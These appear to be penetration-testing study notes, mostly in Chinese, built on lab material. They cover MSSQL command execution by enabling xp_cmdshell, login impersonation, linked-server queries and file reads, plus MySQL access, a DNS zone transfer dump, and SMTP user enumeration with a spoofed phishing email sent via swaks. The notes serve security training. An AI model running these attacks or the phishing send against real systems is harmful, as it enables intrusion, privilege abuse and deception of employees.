Host discovery disabled (-Pn). All addresses will be marked 'up', and scan times will be slower. Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-26 02:09 BST Nmap scan report for 10.10.10.125 Host is up (0.0099s latency).
PORT STATE SERVICE VERSION 1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM | ms-sql-ntlm-info: | Target_Name: HTB | NetBIOS_Domain_Name: HTB | NetBIOS_Computer_Name: mssql-test | DNS_Domain_Name: HTB.LOCAL | DNS_Computer_Name: mssql-test.HTB.LOCAL | DNS_Tree_Name: HTB.LOCAL |_ Product_Version: 10.0.17763 | ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback | Not valid before: 2021-08-26T01:04:36 |_Not valid after: 2051-08-26T01:04:36 |_ssl-date: 2021-08-26T01:11:58+00:00; +2m05s from scanner time.
Host script results: |_clock-skew: mean: 2m04s, deviation: 0s, median: 2m04s | ms-sql-info: | 10.10.10.125:1433: | Version: | name: Microsoft SQL Server 2017 RTM | number: 14.00.1000.00 | Product: Microsoft SQL Server 2017 | Service pack level: RTM | Post-SP patches applied: false |_ TCP port: 1433
exec
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
# 连接数据库后的命令执行,需要权限,xp_cmdshell默认情况下禁用 xp_cmdshell 'whoami' # 开启,需要权限 -- To allow advanced options to be changed. EXECUTE sp_configure 'show advanced options', 1 GO
-- To update the currently configured value for advanced options. RECONFIGURE GO
-- To enable the feature. EXECUTE sp_configure 'xp_cmdshell', 1 GO
-- To update the currently configured value for this feature. RECONFIGURE GO
wirte
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
# 启用Ole 自动化程序(这需要管理员权限) 1> sp_configure 'show advanced options', 1 2> GO 3> RECONFIGURE 4> GO 5> sp_configure 'Ole Automation Procedures', 1 6> GO 7> RECONFIGURE 8> GO
# 查看可以模仿的用户 1> SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE' name 2> GO ----------------------------------------------- sa ben valentin
# 查看连接的用户及其权限 1> EXECUTE('select @@servername, @@version, system_user, is_srvrolemember(''sysadmin'')') AT [10.0.0.12\SQLEXPRESS] 2> GO
------------------------------ ------------------------------ ------------------------------ ----------- DESKTOP-0L9D4KA\SQLEXPRESS Microsoft SQL Server 2019 (RTM sa_remote 1
(1 rows affected)
# 读取文件 1> EXECUTE('select * from OPENROWSET(BULK ''C:/Users/Administrator/desktop/flag.txt'', SINGLE_CLOB) AS Contents') at [local.test.linked.srv]; 2> GO
MySQL
TCP 3306
MySQL默认系统模式/数据库:
mysql- 是系统数据库,其中包含存储 MySQL 服务器所需信息的表
information_schema- 提供对数据库元数据的访问
performance_schema- 是一种用于在低级别监控 MySQL 服务器执行的功能
sys- 一组帮助 DBA 和开发人员解释性能模式收集的数据的对象
interact
1 2 3 4 5
# Linux - mysql mysql -u username -pPassword -h 10.129.20.13
Host discovery disabled (-Pn). All addresses will be marked 'up', and scan times will be slower. Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-25 04:20 BST Nmap scan report for 192.168.2.143 Host is up (0.00037s latency).
DNS 区域是特定组织或管理员管理的 DNS 命名空间的一部分。由于 DNS 包含多个 DNS 区域,因此 DNS 服务器利用 DNS 区域传输将其数据库的一部分复制到另一台 DNS 服务器。除非 DNS 服务器配置正确(限制哪些 IP 可以执行 DNS 区域传输),否则任何人都可以向 DNS 服务器索取其区域信息的副本,因为 DNS 区域传输不需要任何身份验证。此外,DNS 服务通常在 UDP 端口上运行;但是,在执行 DNS 区域传输时,它使用 TCP 端口进行可靠的数据传输。
攻击者可以利用此 DNS 区域传输漏洞来了解有关目标组织的 DNS 命名空间的更多信息,从而增加攻击面。
NS: nsztm2.digi.ninja. nsztm1.digi.ninja. SOA: nsztm1.digi.ninja. (81.4.108.41) Zone: success {<DNS name @>: '@ 7200 IN SOA nsztm1.digi.ninja. robin.digi.ninja. 2019100801 ' '172800 900 1209600 3600\n' '@ 300 IN HINFO "Casio fx-700G" "Windows XP"\n' '@ 301 IN TXT ' '"google-site-verification=tyP28J7JAUHA9fw2sHXMgcCC0I6XBmmoVi04VlMewxA"\n' '@ 7200 IN MX 0 ASPMX.L.GOOGLE.COM.\n' '@ 7200 IN MX 10 ALT1.ASPMX.L.GOOGLE.COM.\n' '@ 7200 IN MX 10 ALT2.ASPMX.L.GOOGLE.COM.\n' '@ 7200 IN MX 20 ASPMX2.GOOGLEMAIL.COM.\n' '@ 7200 IN MX 20 ASPMX3.GOOGLEMAIL.COM.\n' '@ 7200 IN MX 20 ASPMX4.GOOGLEMAIL.COM.\n' '@ 7200 IN MX 20 ASPMX5.GOOGLEMAIL.COM.\n' '@ 7200 IN A 5.196.105.14\n' '@ 7200 IN NS nsztm1.digi.ninja.\n' '@ 7200 IN NS nsztm2.digi.ninja.', <DNS name _acme-challenge>: '_acme-challenge 301 IN TXT ' '"6Oa05hbUJ9xSsvYy7pApQvwCUSSGgxvrbdizjePEsZI"', <DNS name _sip._tcp>: '_sip._tcp 14000 IN SRV 0 0 5060 www', <DNS name 14.105.196.5.IN-ADDR.ARPA>: '14.105.196.5.IN-ADDR.ARPA 7200 IN PTR ' 'www', <DNS name asfdbauthdns>: 'asfdbauthdns 7900 IN AFSDB 1 asfdbbox', <DNS name asfdbbox>: 'asfdbbox 7200 IN A 127.0.0.1', <DNS name asfdbvolume>: 'asfdbvolume 7800 IN AFSDB 1 asfdbbox', <DNS name canberra-office>: 'canberra-office 7200 IN A 202.14.81.230', <DNS name cmdexec>: 'cmdexec 300 IN TXT "; ls"', <DNS name contact>: 'contact 2592000 IN TXT "Remember to call or email Pippa ' 'on +44 123 4567890 or pippa@zonetransfer.me when making ' 'DNS changes"', <DNS name dc-office>: 'dc-office 7200 IN A 143.228.181.132', <DNS name deadbeef>: 'deadbeef 7201 IN AAAA dead:beaf::', <DNS name dr>: 'dr 300 IN LOC 53 20 56.558 N 1 38 33.526 W 0.00m', <DNS name DZC>: 'DZC 7200 IN TXT "AbCdEfG"', <DNS name email>: 'email 2222 IN NAPTR 1 1 "P" "E2U+email" "" ' 'email.zonetransfer.me\n' 'email 7200 IN A 74.125.206.26', <DNS name Hello>: 'Hello 7200 IN TXT "Hi to Josh and all his class"', <DNS name home>: 'home 7200 IN A 127.0.0.1', <DNS name Info>: 'Info 7200 IN TXT "ZoneTransfer.me service provided by Robin ' 'Wood - robin@digi.ninja. See ' 'http://digi.ninja/projects/zonetransferme.php for more ' 'information."', <DNS name internal>: 'internal 300 IN NS intns1\ninternal 300 IN NS intns2', <DNS name intns1>: 'intns1 300 IN A 81.4.108.41', <DNS name intns2>: 'intns2 300 IN A 167.88.42.94', <DNS name office>: 'office 7200 IN A 4.23.39.254', <DNS name ipv6actnow.org>: 'ipv6actnow.org 7200 IN AAAA ' '2001:67c:2e8:11::c100:1332', ...SNIP...
还有 DNS spoofing …
Email
识别邮箱服务器
1 2 3 4 5 6 7 8
$ host -t MX hackthebox.eu hackthebox.eu mail is handled by 1 aspmx.l.google.com.
Starting Nmap 7.80 ( https://nmap.org ) at 2021-09-27 17:56 CEST Nmap scan report for 10.129.14.128 Host is up (0.00025s latency).
PORT STATE SERVICE VERSION 25/tcp open smtp Postfix smtpd |_smtp-commands: mail1.inlanefreight.htb, PIPELINING, SIZE 10240000, VRFY, ETRN, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING, MAC Address: 00:00:00:00:00:00 (VMware)
VRFY new-user 550 5.1.1 <new-user>: Recipient address rejected: User unknown in local recipient table # EXPN 和 VRFY 类似,不同之处在于,当与分发列表一起使用时,它将列出该列表上的所有用户。 EXPN john 250 2.1.0 john@inlanefreight.htb
EXPN support-team 250 2.0.0 carol@inlanefreight.htb 250 2.1.5 elisa@inlanefreight.htb # RCPT TO 标识电子邮件消息的收件人。可以针对给定消息重复此命令多次,以将单个消息传递给多个收件人。 MAIL FROM:test@htb.com it is 250 2.1.0 test@htb.com... Sender ok
$ swaks --from notifications@inlanefreight.com --to employees@inlanefreight.com --header 'Subject: Company Notification' --body 'Hi All, we want to hear from you! Please complete the following survey. http://mycustomphishinglink.com/' --server 10.10.11.213
=== Trying 10.10.11.213:25... === Connected to 10.10.11.213. <- 220 mail.localdomain SMTP Mailer ready -> EHLO parrot <- 250-mail.localdomain <- 250-SIZE 33554432 <- 250-8BITMIME <- 250-STARTTLS <- 250-AUTH LOGIN PLAIN CRAM-MD5 CRAM-SHA1 <- 250 HELP -> MAIL FROM:<notifications@inlanefreight.com> <- 250 OK -> RCPT TO:<employees@inlanefreight.com> <- 250 OK -> DATA <- 354 End data with <CR><LF>.<CR><LF> -> Date: Thu, 29 Oct 2020 01:36:06 -0400 -> To: employees@inlanefreight.com -> From: notifications@inlanefreight.com -> Subject: Company Notification -> Message-Id: <20201029013606.775675@parrot> -> X-Mailer: swaks v20190914.0 jetmore.org/john/code/swaks/ -> -> Hi All, we want to hear from you! Please complete the following survey. http://mycustomphishinglink.com/ -> -> -> . <- 250 OK -> QUIT <- 221 Bye === Connection closed with remote host.